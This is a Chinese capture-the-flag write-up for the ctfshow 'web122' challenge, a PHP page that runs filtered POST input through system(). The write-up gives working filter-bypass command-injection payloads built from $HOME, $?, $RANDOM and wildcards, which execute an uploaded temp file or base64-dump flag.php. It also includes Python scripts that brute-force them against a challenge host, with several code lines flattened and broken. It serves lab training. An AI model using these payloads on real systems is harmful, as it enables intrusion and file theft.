当前位置: 首页 > article >正文

[ctfshow web入门] web122

信息收集

这一题把HOME开放了,把#PWD给过滤了

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

解题

deepseek想了12分钟,也没给我准确的能绕过这个过滤构造出1的方法,答案也是错误的
答案给的>A配合$?可以直接构造1

import requests
from time import sleepurl = "http://aea25cb2-0314-400e-9fb0-a800499dea70.challenge.ctf.show/"  # http不要s
# . /tmp/php?????A ==> . /???/?h??????A
payload = "<A;. ${HOME::$?}???${HOME::$?}????????A"
file = { "file": "tac flag.php" }
data = { "code": payload }for i in range(1000):response = requests.request("POST", url, files=file, data=data)if (len(response.text)) != 3069: # len可能需要微调print(response.text)print(len(response.text))breakprint(i, end=" ")sleep(0.3)

在这里插入图片描述

构造命令

最好不要以4结尾,比较末尾带个4更为常见
/bin/base64 flag.php
/???/???6? ???.???

<A;${HOME::$?}???${HOME::$?}????${RANDOM::$?}? ????.???

要手工一直刷,运气不好得刷近百次所以直接写脚本了,我顺手把base64也解了
要是代码没解密base64,手动解一下就可以了

import requests
from time import sleep
import base64
url = "http://aea25cb2-0314-400e-9fb0-a800499dea70.challenge.ctf.show/"  # http不要s
# . /tmp/php?????A ==> . /???/?h??????A
payload = "<A;${HOME::$?}???${HOME::$?}????${RANDOM::$?}? ????.???"
data = { "code": payload }for i in range(1000):response = requests.request("POST", url, data=data)if (len(response.text)) != 3069: # len可能需要微调string = response.textprint(string)print(len(string))string = string[string.find('</code>')+len('</code>'):string.find('<div align="center">')].replace('\n', '')print(f"\n-------------------\n{string}\ndecode-base64: \n", base64.b64decode(string).decode())breakprint(i, end=" ")sleep(0.3)

在这里插入图片描述


web    目录    web

http://www.lryc.cn/news/2379543.html

相关文章:

  • Nginx+Lua 实战避坑:从模块加载失败到版本冲突的深度剖析
  • LangChain框架-Chain 链详解
  • Java虚拟机 - JVM与Java体系结构
  • elementUI调整滚动条高度后与固定列冲突问题解决
  • 基于 nvitop+Prometheus+Grafana 的物理资源与 VLLM 引擎服务监控方案
  • 互联网大厂Java求职面试:Spring AI与大模型交互在短视频平台中的应用
  • 【Lua】java 调用redis执行 lua脚本
  • 【工奥阀门科技有限公司】签约智橙PLM
  • 灌区量测水自动化监测解决方案
  • SpringBoot整合MQTT实战:基于EMQX构建高可靠物联网通信,从零到一实现设备云端双向对话
  • AI与机器学习深度集成:从设备端能力爆发到开发工具智能化
  • 界面控件DevExpress WinForms v24.2 - 数据处理功能增强
  • Linux的MySQL头文件和找不到头文件问题解决
  • wps excel将表格输出pdf时所有列在一张纸上
  • zabbix7.2最新版本 nginx自定义监控(三) 设置触发器
  • CDN加速对云手机延迟的影响
  • 为什么 Docker 建议关闭 Swap
  • 缓存的相关内容
  • [ctfshow web入门] web77
  • C++学习-入门到精通-【7】类的深入剖析
  • API 加速方案:如何使用 Redis 与 Memcached 进行高效缓存优化
  • 主成分分析的应用之sklearn.decomposition模块的PCA函数
  • 1. Go 语言环境安装
  • IP协议深度解析:互联网世界的核心基石
  • Oracle DBMS_STATS.GATHER_DATABASE_STATS 默认行为
  • C++天空之城的树 全国信息素养大赛复赛决赛 C++小学/初中组 算法创意实践挑战赛 内部集训模拟题详细解析
  • HTTP 请求走私(HTTP Request Smuggling)
  • 基于WebRTC的实时语音对话系统:从语音识别到AI回复
  • typeof运算符和深拷贝
  • .Net HttpClient 使用 Cookie